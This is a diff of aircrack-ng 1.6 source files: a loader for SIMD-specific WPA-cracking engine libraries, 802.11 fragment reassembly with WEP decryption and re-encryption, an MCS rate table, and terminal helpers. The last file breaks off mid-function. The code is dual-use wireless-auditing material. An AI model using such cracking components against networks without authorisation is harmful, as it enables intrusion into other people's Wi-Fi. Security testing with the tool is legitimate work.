+	if (strncmp(working_directory, ABS_TOP_BUILDDIR, strlen(ABS_TOP_BUILDDIR))
+			== 0
+		|| strncmp(working_directory, ABS_TOP_SRCDIR, strlen(ABS_TOP_SRCDIR))
+			   == 0)
+	{
+		// use development paths
+		snprintf(library_path,
+				 sizeof(library_path) - 1,
+				 "%s%s",
+				 LIBAIRCRACK_CE_WPA_PATH,
+				 LT_OBJDIR);
+	}
+	else
+	{
+#if defined(WIN32_PORTABLE)
+		// use the current directory
+		snprintf(library_path, sizeof(library_path) - 1, working_directory);
+#else
+		// use installation paths
+		snprintf(library_path, sizeof(library_path) - 1, "%s", LIBDIR);
+#endif
+	}
+	free(working_directory);
+
+	// enumerate all DSOs in folder, opening, searching symbols, and testing
+	// them.
+	DIR * dsos = opendir(library_path);
+	if (!dsos) goto out;
+
+	struct dirent * entry = NULL;
+	while ((entry = readdir(dsos)) != NULL)
+	{
+#if defined(__APPLE__)
+		if (string_has_suffix((char *) entry->d_name, ".dylib"))
+#elif defined(WIN32) || defined(_WIN32) || defined(CYGWIN)
+		if (string_has_suffix((char *) entry->d_name, ".dll"))
+#else
+		if (string_has_suffix((char *) entry->d_name, ".so"))
+#endif
+		{
+			char * search = strstr(entry->d_name, "aircrack-ce-wpa-");
+
+			if (search)
+			{
+				search += 16;
+
+				int flag;
+				if ((flag = ac_crypto_engine_loader_string_to_flag(search))
+					!= -1)
+					simd_flags |= flag;
+			}
+		}
+	}
+
+	closedir(dsos);
+
+out:
+	return simd_flags;
+}
+
+EXPORT char * ac_crypto_engine_loader_best_library_for(int simd_features)
+{
+	char buffer[8192] = {"aircrack-ce-wpa"};
+	char library_path[8192];
+	char module_filename[8192];
+	size_t buffer_remaining = 8192 - strlen(buffer) - 1;
+
+	if (simd_features & SIMD_SUPPORTS_AVX512F)
+	{
+		strncat(buffer, "-x86-avx512", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_AVX2)
+	{
+		strncat(buffer, "-x86-avx2", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_AVX)
+	{
+		strncat(buffer, "-x86-avx", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_SSE2)
+	{
+		strncat(buffer, "-x86-sse2", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_ASIMD)
+	{
+		strncat(buffer, "-arm-neon", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_NEON)
+	{
+		strncat(buffer, "-arm-neon", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_POWER8)
+	{
+		strncat(buffer, "-ppc-power8", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_ALTIVEC)
+	{
+		strncat(buffer, "-ppc-altivec", buffer_remaining);
+	}
+
+	char * working_directory
+		= get_current_working_directory(); // or the binary's path?
+
+	if (strncmp(
+			working_directory, ABS_TOP_BUILDDIR, sizeof(ABS_TOP_BUILDDIR) - 1)
+			== 0
+		|| strncmp(
+			   working_directory, ABS_TOP_SRCDIR, sizeof(ABS_TOP_SRCDIR) - 1)
+			   == 0)
+	{
+		// use development paths
+		snprintf(library_path,
+				 sizeof(library_path) - 1,
+				 "%s%s",
+				 LIBAIRCRACK_CE_WPA_PATH,
+				 LT_OBJDIR);
+	}
+	else
+	{
+		// use installation paths
+		snprintf(library_path, sizeof(library_path) - 1, "%s", LIBDIR);
+	}
+	free(working_directory);
+
+	snprintf(module_filename,
+			 sizeof(module_filename) - 1,
+#if defined(WIN32_PORTABLE)
+			 "%s%s%s",
+#else
+			 "%s/%s%s%s",
+			 library_path,
+#endif
+#if defined(WIN32) || defined(_WIN32) || defined(CYGWIN)
+#if defined(MSYS2)
+			 "msys-",
+#else
+			 "cyg",
+#endif
+#else
+			 "lib",
+#endif
+			 buffer,
+#if defined(WIN32) || defined(_WIN32) || defined(CYGWIN)
+			 LT_CYGWIN_VER
+#elif defined(__APPLE__)
+			 ".dylib"
+#else
+			 ".so"
+#endif
+			 )
+			< 0
+		? abort()
+		: (void) 0;
+
+	return strdup(module_filename);
+}
+
+EXPORT int ac_crypto_engine_loader_string_to_flag(const char * const str)
+{
+	int simd_features = -1;
+
+	if (strncmp(str, "avx512", 6) == 0 || strncmp(str, "x86-avx512", 10) == 0)
+		simd_features = SIMD_SUPPORTS_AVX512F;
+	else if (strncmp(str, "avx2", 4) == 0 || strncmp(str, "x86-avx2", 8) == 0)
+		simd_features = SIMD_SUPPORTS_AVX2;
+	else if (strncmp(str, "avx", 3) == 0 || strncmp(str, "x86-avx", 7) == 0)
+		simd_features = SIMD_SUPPORTS_AVX;
+	else if (strncmp(str, "sse2", 4) == 0 || strncmp(str, "x86-sse2", 8) == 0)
+		simd_features = SIMD_SUPPORTS_SSE2;
+	else if (strncmp(str, "neon", 4) == 0 || strncmp(str, "arm-neon", 8) == 0)
+		simd_features = SIMD_SUPPORTS_NEON;
+	else if (strncmp(str, "asimd", 5) == 0 || strncmp(str, "arm-asimd", 9) == 0)
+		simd_features = SIMD_SUPPORTS_ASIMD;
+	else if (strncmp(str, "altivec", 7) == 0
+			 || strncmp(str, "ppc-altivec", 11) == 0)
+		simd_features = SIMD_SUPPORTS_ALTIVEC;
+	else if (strncmp(str, "power8", 6) == 0
+			 || strncmp(str, "ppc-power8", 10) == 0)
+		simd_features = SIMD_SUPPORTS_POWER8;
+	else if (strncmp(str, "generic", 7) == 0)
+		simd_features = SIMD_SUPPORTS_NONE;
+
+	return simd_features;
+}
+
+EXPORT char * ac_crypto_engine_loader_flags_to_string(int flags)
+{
+	char buffer[8192] = {0};
+
+	if (flags & SIMD_SUPPORTS_AVX512F) strncat(buffer, "avx512 ", 8);
+	if (flags & SIMD_SUPPORTS_AVX2) strncat(buffer, "avx2 ", 6);
+	if (flags & SIMD_SUPPORTS_AVX) strncat(buffer, "avx ", 5);
+	if (flags & SIMD_SUPPORTS_SSE2) strncat(buffer, "sse2 ", 6);
+	if (flags & SIMD_SUPPORTS_NEON) strncat(buffer, "neon ", 6);
+	if (flags & SIMD_SUPPORTS_ASIMD) strncat(buffer, "asimd ", 7);
+	if (flags & SIMD_SUPPORTS_ALTIVEC) strncat(buffer, "altivec ", 9);
+	if (flags & SIMD_SUPPORTS_POWER8) strncat(buffer, "power8 ", 8);
+
+	strncat(buffer, "generic", 8);
+
+	return strdup(buffer);
+}
+
+EXPORT int ac_crypto_engine_loader_load(int flags)
+{
+#ifndef STATIC_BUILD
+	if (flags == -1) flags = ac_crypto_engine_loader_get_available();
+
+	char * module_filename = ac_crypto_engine_loader_best_library_for(flags);
+
+	module = dlopen(module_filename, RTLD_LAZY);
+	if (!module)
+	{
+		const char * msg = dlerror();
+		fprintf(stderr,
+				"Could not open '%s': %s\n",
+				module_filename,
+				msg ? msg : "<none reported>");
+		free(module_filename);
+		return 1;
+	}
+
+	// resolve symbols needed
+	struct _dso_symbols
+	{
+		char const * sym;
+		void * addr;
+	} dso_symbols[] = {
+		{"ac_crypto_engine_init", (void *) &dso_ac_crypto_engine_init},
+		{"ac_crypto_engine_destroy", (void *) &dso_ac_crypto_engine_destroy},
+		{"ac_crypto_engine_thread_init",
+		 (void *) &dso_ac_crypto_engine_thread_init},
+		{"ac_crypto_engine_thread_destroy",
+		 (void *) &dso_ac_crypto_engine_thread_destroy},
+		{"ac_crypto_engine_set_essid",
+		 (void *) &dso_ac_crypto_engine_set_essid},
+		{"ac_crypto_engine_simd_width",
+		 (void *) &dso_ac_crypto_engine_simd_width},
+		{"ac_crypto_engine_wpa_crack",
+		 (void *) &dso_ac_crypto_engine_wpa_crack},
+		{"ac_crypto_engine_wpa_pmkid_crack",
+		 (void *) &dso_ac_crypto_engine_wpa_pmkid_crack},
+		{"ac_crypto_engine_calc_pke", (void *) &dso_ac_crypto_engine_calc_pke},
+		{"ac_crypto_engine_set_pmkid_salt",
+		 (void *) &dso_ac_crypto_engine_set_pmkid_salt},
+		{"ac_crypto_engine_supported_features",
+		 (void *) &dso_ac_crypto_engine_supported_features},
+		{"ac_crypto_engine_get_pmk", (void *) &dso_ac_crypto_engine_get_pmk},
+		{"ac_crypto_engine_get_ptk", (void *) &dso_ac_crypto_engine_get_ptk},
+		{"ac_crypto_engine_calc_one_pmk",
+		 (void *) &dso_ac_crypto_engine_calc_one_pmk},
+		{"ac_crypto_engine_calc_pmk", (void *) &dso_ac_crypto_engine_calc_pmk},
+		{"ac_crypto_engine_calc_mic", (void *) &dso_ac_crypto_engine_calc_mic},
+
+		{NULL, NULL}};
+
+	struct _dso_symbols * cur = &dso_symbols[0];
+
+	for (; cur->addr != NULL; ++cur)
+	{
+		if (!(*((void **) cur->addr) = dlsym(module, cur->sym)))
+		{
+			fprintf(stderr,
+					"Could not find symbol %s in %s.\n",
+					cur->sym,
+					module_filename);
+			dlclose(module);
+			free(module_filename);
+			return 1;
+		}
+	}
+
+	free(module_filename);
+#endif
+
+	return 0;
+}
+
+EXPORT void ac_crypto_engine_loader_unload(void)
+{
+#ifndef STATIC_BUILD
+	dlclose(module);
+	module = NULL;
+
+	dso_ac_crypto_engine_init = NULL;
+	dso_ac_crypto_engine_destroy = NULL;
+	dso_ac_crypto_engine_thread_init = NULL;
+	dso_ac_crypto_engine_thread_destroy = NULL;
+	dso_ac_crypto_engine_set_essid = NULL;
+	dso_ac_crypto_engine_simd_width = NULL;
+	dso_ac_crypto_engine_wpa_crack = NULL;
+	dso_ac_crypto_engine_calc_pke = NULL;
+	dso_ac_crypto_engine_supported_features = NULL;
+#endif
+}

aircrack-ng-1.6.tar.gz/lib/libac/support/fragments.c Added

@@ -0,0 +1,339 @@
+/*
+ *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2009 Martin Beck <martin.beck2@gmx.de>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <errno.h>
+#include <time.h>
+#include <sys/time.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/support/fragments.h"
+#include "aircrack-ng/crypto/crypto.h"
+
+extern pFrag_t rFragment;
+
+int addFrag(unsigned char * packet,
+			unsigned char * smac,
+			int len,
+			int crypt,
+			unsigned char * wepkey,
+			int weplen)
+{
+	pFrag_t cur = rFragment;
+	int seq, frag, wep, z, i;
+	unsigned char frame[4096];
+	unsigned char K[128];
+
+	if (packet == NULL) return (-1);
+	if (smac == NULL) return (-1);
+	if (len <= 32 || len > 2000) return (-1);
+	if (rFragment == NULL) return (-1);
+
+	memset(frame, 0, sizeof(frame));
+	memcpy(frame, packet, (size_t) len);
+
+	z = ((frame[1] & 3) != 3) ? 24 : 30;
+	frag = frame[22] & 0x0F;
+	seq = (frame[22] >> 4) | (frame[23] << 4);
+	wep = (frame[1] & 0x40) >> 6;
+
+	ALLEGE(frag >= 0 && frag <= 15); //-V560
+
+	if (wep && crypt != CRYPT_WEP) return (-1);
+
+	if (wep)
+	{
+		// decrypt it
+		memcpy(K, frame + z, 3);
+		memcpy(K + 3, wepkey, (size_t) weplen);
+
+		if (decrypt_wep(frame + z + 4, len - z - 4, K, 3 + weplen) == 0
+			&& (len - z - 4 > 8))
+		{
+			printf("error decrypting... len: %d\n", len - z - 4);
+			return (-1);
+		}
+
+		/* WEP data packet was successfully decrypted, *
+		* remove the WEP IV & ICV and write the data  */
+
+		len -= 8;
+
+		memcpy(frame + z, frame + z + 4, (size_t) len - z);
+
+		frame[1] &= 0xBF;
+	}
+
+	while (cur->next != NULL)
+	{
+		cur = cur->next;
+		if ((memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence)
+			&& (wep == cur->wep))
+		{
+			// entry already exists, update
+			if (cur->fragment[frag] != NULL) return (0);
+
+			if ((frame[1] & 0x04) == 0)
+			{
+				cur->fragnum = (char) frag; // no higher frag number possible
+			}
+			cur->fragment[frag] = (unsigned char *) malloc((size_t) len - z);
+			ALLEGE(cur->fragment[frag] != NULL);
+			memcpy(cur->fragment[frag], frame + z, (size_t) len - z);
+			cur->fragmentlen[frag] = (short) (len - z);
+			gettimeofday(&cur->access, NULL);
+
+			return (0);
+		}
+	}
+
+	// new entry, first fragment received
+	// alloc mem
+	cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list));
+	ALLEGE(cur->next != NULL);
+	cur = cur->next;
+
+	for (i = 0; i < 16; i++)
+	{
+		cur->fragment[i] = NULL;
+		cur->fragmentlen[i] = 0;
+	}
+
+	if ((frame[1] & 0x04) == 0)
+	{
+		cur->fragnum = (char) frag; // no higher frag number possible
+	}
+	else
+	{
+		cur->fragnum = 0;
+	}
+
+	// remove retry & more fragments flag
+	frame[1] &= 0xF3;
+	// set frag number to 0
+	frame[22] &= 0xF0;
+	memcpy(cur->source, smac, 6);
+	cur->sequence = (uint16_t) seq;
+	cur->header = (unsigned char *) malloc((size_t) z);
+	ALLEGE(cur->header != NULL);
+	memcpy(cur->header, frame, (size_t) z);
+	cur->headerlen = (int16_t) z;
+	cur->fragment[frag] = (unsigned char *) malloc((size_t) len - z);
+	ALLEGE(cur->fragment[frag] != NULL);
+	memcpy(cur->fragment[frag], frame + z, len - z);
+	cur->fragmentlen[frag] = (int16_t)(len - z);
+	cur->wep = (int8_t) wep;
+	gettimeofday(&cur->access, NULL);
+
+	cur->next = NULL;
+
+	return (0);
+}
+
+int timeoutFrag(void)
+{
+	pFrag_t old, cur = rFragment;
+	struct timeval tv;
+	int64_t timediff;
+	int i;
+
+	if (rFragment == NULL) return (-1);
+
+	gettimeofday(&tv, NULL);
+
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		timediff = (tv.tv_sec - old->access.tv_sec) * 1000000UL
+				   + (tv.tv_usec - old->access.tv_usec);
+		if (timediff > FRAG_TIMEOUT)
+		{
+			// remove captured fragments
+			if (old->header != NULL) free(old->header);
+			for (i = 0; i < 16; i++)
+				if (old->fragment[i] != NULL) free(old->fragment[i]);
+
+			cur->next = old->next;
+			free(old);
+		}
+		cur = cur->next;
+	}
+
+	return (0);
+}
+
+int delFrag(unsigned char * smac, int sequence)
+{
+	pFrag_t old, cur = rFragment;
+	int i;
+
+	if (rFragment == NULL) return (-1);
+	if (smac == NULL) return (-1);
+	if (sequence < 0) return (-1);
+
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		if (memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
+		{
+			// remove captured fragments
+			if (old->header != NULL) free(old->header);
+			for (i = 0; i < 16; i++)
+				if (old->fragment[i] != NULL) free(old->fragment[i]);
+
+			cur->next = old->next;
+			free(old);
+
+			return (0);
+		}
+		cur = cur->next;
+	}
+
+	return (0);
+}
+
+unsigned char * getCompleteFrag(unsigned char * smac,
+								int sequence,
+								size_t * packetlen,
+								int crypt,
+								unsigned char * wepkey,
+								int weplen)
+{
+	pFrag_t old, cur = rFragment;
+	int i, len = 0;
+	unsigned char * packet = NULL;
+	unsigned char K[128];
+
+	if (rFragment == NULL) return (NULL);
+	if (smac == NULL) return (NULL);
+
+	while (cur->next != NULL)
+	{
+		old = cur->next;
+		if (memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
+		{
+			// check if all frags available
+			if (old->fragnum == 0) return (NULL);
+
+			for (i = 0; i <= old->fragnum; i++)
+			{
+				if (old->fragment[i] == NULL) return (NULL);
+				len += old->fragmentlen[i];
+			}
+
+			if (len > 2000) return (NULL);
+
+			if (old->wep)
+			{
+				if (crypt == CRYPT_WEP)
+				{
+					packet = (unsigned char *) malloc(
+						(size_t) len + old->headerlen + 8);
+					ALLEGE(packet != NULL);
+					K[0] = rand_u8();
+					K[1] = rand_u8();
+					K[2] = rand_u8();
+					K[3] = (uint8_t)(0x00);
+
+					memcpy(packet, old->header, (size_t) old->headerlen);
+					len = old->headerlen;
+					memcpy(packet + len, K, 4); //-V512
+					len += 4;
+
+					for (i = 0; i <= old->fragnum; i++)
+					{
+						memcpy(packet + len,
+							   old->fragment[i],
+							   (size_t) old->fragmentlen[i]);
+						len += old->fragmentlen[i];
+					}
+
+					/* write crc32 value behind data */
+					if (add_crc32(packet + old->headerlen + 4,
+								  len - old->headerlen - 4)
+						!= 0)
+						return (NULL);
+
+					len += 4; // icv
+
+					memcpy(K + 3, wepkey, (size_t) weplen);
+
+					encrypt_wep(packet + old->headerlen + 4,
+								len - old->headerlen - 4,
+								K,
+								weplen + 3);
+
+					packet[1] = (uint8_t)(packet[1] | 0x40);
+
+					// delete captured fragments
+					delFrag(smac, sequence);
+					*packetlen = (size_t) len;
+					return (packet);
+				}
+				else
+					return (NULL);
+			}
+			else
+			{
+				packet
+					= (unsigned char *) malloc((size_t) len + old->headerlen);
+				ALLEGE(packet != NULL);
+				memcpy(packet, old->header, (size_t) old->headerlen);
+				len = old->headerlen;
+				for (i = 0; i <= old->fragnum; i++)
+				{
+					memcpy(packet + len,
+						   old->fragment[i],
+						   (size_t) old->fragmentlen[i]);
+					len += old->fragmentlen[i];
+				}
+
+				// delete captured fragments
+				delFrag(smac, sequence);
+				*packetlen = (size_t) len;
+				return (packet);
+			}
+		}
+
+		cur = cur->next;
+	}
+
+	return (packet);
+}

aircrack-ng-1.6.tar.gz/lib/libac/support/mcs_index_rates.c Added

@@ -0,0 +1,185 @@
+/*
+ * Functions and macros to obtain 802.11n or ac rates based on MCS index
+ *
+ * Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdint.h>
+
+#include "aircrack-ng/support/mcs_index_rates.h"
+
+// http://mcsindex.com/
+
+// 20/40/80/160MHz -> (0, 1, 2, 3)
+// 0: long GI, 1: short GI
+// amount of spatial streams (minus 1)
+// MCS index
+const float MCS_index_rates[4][2][8][10] = {
+	// 20MHz
+	{// Long GI
+	 {// Spatial streams
+	  {6.5, 13.0, 19.5, 26, 39, 52, 58.5, 65, 78, 0},
+	  {13, 26, 39, 52, 78, 104, 117, 130, 156, 0},
+	  {19.5, 39, 58.5, 78, 117, 156, 175.5, 195, 234, 260},
+	  {26, 52, 78, 104, 156, 208, 134, 260, 312, 0}},
+	 // Short GI
+	 {{7.2, 14.4, 21.7, 28.9, 43.3, 57.8, 65, 72.2, 86.7, 0},
+	  {14.4, 28.9, 43.3, 57.8, 86.7, 115.6, 130.3, 144.4, 173.3, 0},
+	  {21.7, 43.3, 65, 86.7, 130, 173.3, 195, 216.7, 260, 288.9},
+	  {28.9, 57.8, 56.7, 115.6, 173.3, 231.1, 260, 288.9, 346.7, 0}}},
+	// 40MHz
+	{// Long GI
+	 {{13.5, 27, 40.5, 54, 81, 108, 121.5, 135, 162, 180},
+	  {27, 54, 81, 108, 162, 216, 243, 270, 324, 360},
+	  {40.5, 81, 121.5, 162, 243, 324, 364.5, 405, 486, 540},
+	  {54, 108, 162, 216, 324, 432, 486, 540, 648, 720}},
+	 // Short GI
+	 {{15, 30, 45, 60, 90, 120, 135, 150, 180, 200},
+	  {30, 60, 90, 120, 180, 240, 270, 300, 360, 400},
+	  {45, 90, 135, 180, 270, 360, 405, 450, 540, 600},
+	  {60, 120, 180, 240, 360, 480, 540, 600, 720, 800}}},
+	// 80MHz
+	{// Long GI
+	 {{29.3, 58.5, 87.8, 117, 175.5, 234, 263.3, 292.5, 351, 390},
+	  {58.5, 117, 175.5, 234, 351, 468, 526.5, 585, 702, 780},
+	  {87.8, 175.5, 263.3, 351, 526.5, 702, 0, 877.5, 1053, 1170},
+	  {117, 234, 351, 468, 702, 936, 1053, 1170, 1404, 1560},
+	  {146.3, 292.5, 438.8, 585, 877.5, 1170, 1316.3, 1462.5, 1755, 1950},
+	  {175.5, 351, 526.5, 702, 1053, 1404, 1579.5, 1755, 2106, 0},
+	  {204.8, 409.5, 614.3, 819, 1228.5, 1638, 0, 2047.5, 2457, 2730},
+	  {234, 468, 702, 936, 1404, 1872, 2106, 2340, 2808, 3120}},
+	 // Short GI
+	 {{32.5, 65, 97.5, 130, 195, 260, 292.5, 325, 390, 433.3},
+	  {65, 130, 195, 260, 390, 520, 585, 650, 780, 866.7},
+	  {97.5, 195, 292.5, 390, 585, 780, 0, 975, 1170, 1300},
+	  {130, 260, 390, 520, 780, 1040, 1170, 1300, 1560, 1733.3},
+	  {162.5, 325, 487.5, 650, 975, 1300, 1462.5, 1625, 1950, 2166.7},
+	  {195, 390, 585, 780, 1170, 1560, 1755, 1950, 2340, 0},
+	  {227.5, 455, 682.5, 910, 1365, 1820, 0, 2275, 2730, 3033.3},
+	  {260, 520, 780, 1040, 1560, 2080, 2340, 2600, 3120, 3466.7}}},
+	// 160MHz
+	{// Long GI
+	 {{58.5, 117, 175.5, 234, 351, 468, 526.5, 585, 702, 780},
+	  {117, 234, 351, 468, 702, 936, 1053, 1170, 1404, 1560},
+	  {175.5, 351, 526.5, 702, 1053, 1404, 1579.5, 1755, 2106, 0},
+	  {234, 468, 702, 936, 1404, 1872, 2106, 2340, 2808, 3120},
+	  {292.5, 585, 877.5, 1170, 1755, 2340, 2632.5, 2925, 3510, 3900},
+	  {351, 702, 1053, 1404, 2106, 2808, 3159, 3510, 4212, 4680},
+	  {409.5, 819, 1228.5, 1638, 2457, 3276, 3685.5, 4095, 4914, 5460},
+	  {468, 936, 1404, 1872, 2808, 3744, 4212, 4680, 5616, 6240}},
+	 // Short GI
+	 {{65, 130, 195, 260, 390, 520, 585, 650, 780, 866.7},
+	  {130, 260, 390, 520, 780, 1040, 1170, 1300, 1560, 1733.3},
+	  {195, 390, 585, 780, 1170, 1560, 1755, 1950, 2340, 0},
+	  {260, 520, 780, 1040, 1560, 2080, 2340, 2600, 3120, 3466.7},
+	  {325, 650, 975, 1300, 1950, 2600, 2925, 3250, 3900, 4333.3},
+	  {390, 780, 1170, 1560, 2340, 3120, 3510, 3900, 4680, 5200},
+	  {455, 910, 1365, 1820, 2730, 3640, 4095, 4550, 5460, 6066.7},
+	  {520, 1040, 1560, 2080, 3120, 4160, 4680, 5200, 6240, 6933.3}}}};
+
+float get_80211n_rate(const int width,
+					  const int is_short_GI,
+					  const int mcs_index)
+{
+	// Check MCS Index
+	if (mcs_index < 0 || mcs_index > 31)
+	{
+		return -1.0;
+	}
+	uint8_t amount_ss = mcs_index / 8;
+	uint8_t mcs_idx = mcs_index % 8;
+
+	// Rate index
+	uint8_t width_idx = 0;
+	switch (width)
+	{
+		case 20:
+			width_idx = 0;
+			break;
+		case 40:
+			width_idx = 1;
+			break;
+		default:
+			return -1.0;
+	}
+
+	// Short GI?
+	uint8_t sgi = !!is_short_GI;
+
+	return MCS_index_rates[width_idx][sgi][amount_ss][mcs_idx];
+}
+
+float get_80211ac_rate(const int width,
+					   const int is_short_GI,
+					   const int mcs_idx,
+					   const int amount_ss)
+{
+	// Check MCS Index
+	if (mcs_idx < 0 || mcs_idx > 9)
+	{
+		return -1.0;
+	}
+
+	// Rate index
+	uint8_t width_idx = 0;
+	switch (width)
+	{
+		case 20:
+			width_idx = 0;
+			break;
+		case 40:
+			width_idx = 1;
+			break;
+		case 80:
+			width_idx = 2;
+			break;
+		case 160:
+			width_idx = 3;
+			break;
+		default:
+			return -1.0;
+	}
+
+	// Check amount of spatial streams
+	if (amount_ss < 1 || amount_ss > 8)
+	{
+		return -1.0;
+	}
+
+	// Short GI?
+	uint8_t sgi = !!is_short_GI;
+
+	return MCS_index_rates[width_idx][sgi][amount_ss - 1][mcs_idx];
+}

aircrack-ng-1.6.tar.gz/lib/libac/tui Added

aircrack-ng-1.6.tar.gz/lib/libac/tui/console.c Added

@@ -0,0 +1,212 @@
+/*
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <assert.h>
+#include <stdio.h>
+#include <locale.h>
+#include <langinfo.h>
+#include <termios.h>
+#if !defined(TIOCGWINSZ) && !defined(linux)
+#include <sys/termios.h>
+#endif
+#include <string.h>
+#include <unistd.h>
+
+#include "aircrack-ng/tui/console.h"
+
+#define channel stdout
+
+void textcolor(int attr, int fg, int bg)
+{
+	char command[64];
+
+	/* Command is the control command to the terminal */
+	snprintf(
+		command, sizeof(command), "%c[%d;%d;%dm", 0x1B, attr, fg + 30, bg + 40);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void textcolor_fg(int fg)
+{
+	char command[64];
+
+	/* Command is the control command to the terminal */
+	snprintf(command, sizeof(command), "\033[%dm", fg + 30);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void textcolor_bg(int bg)
+{
+	char command[64];
+
+	/* Command is the control command to the terminal */
+	snprintf(command, sizeof(command), "\033[%dm", bg + 40);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void textstyle(int attr)
+{
+	char command[13];
+
+	/* Command is the control command to the terminal */
+	snprintf(command, sizeof(command), "\033[%im", attr);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void reset_term()
+{
+	struct termios oldt, newt;
+
+	tcgetattr(STDIN_FILENO, &oldt);
+	newt = oldt;
+	newt.c_lflag |= (ICANON | ECHO);
+	tcsetattr(STDIN_FILENO, TCSANOW, &newt);
+}
+
+void moveto(int x, int y)
+{
+	char command[64];
+
+	// clamp the X coordinate.
+	if (x < 0)
+	{
+		x = 0;
+	}
+
+	// clamp the Y coordinate.
+	if (y < 0)
+	{
+		y = 0;
+	}
+
+	// send ANSI sequence to move the cursor.
+	snprintf(command, sizeof(command), "%c[%d;%dH", 0x1B, y, x);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void move(int which, int n)
+{
+	char command[13];
+	static const char movement[] = {'A', 'B', 'C', 'D'};
+
+	assert(which >= 0 && which < 4);
+	snprintf(command, sizeof(command), "%c[%d%c", 0x1B, n, movement[which]);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void erase_display(int n)
+{
+	char command[13];
+
+	snprintf(command, sizeof(command), "%c[%dJ", 0x1B, n);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void erase_line(int n)
+{
+	char command[13];
+
+	snprintf(command, sizeof(command), "%c[%dK", 0x1B, n);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void textcolor_normal(void)
+{
+	char command[13];
+
+	snprintf(command, sizeof(command), "%c[22m", 0x1B);
+	fprintf(channel, "%s", command);
+	fflush(channel);
+}
+
+void hide_cursor(void)
+{
+	char command[13];
+
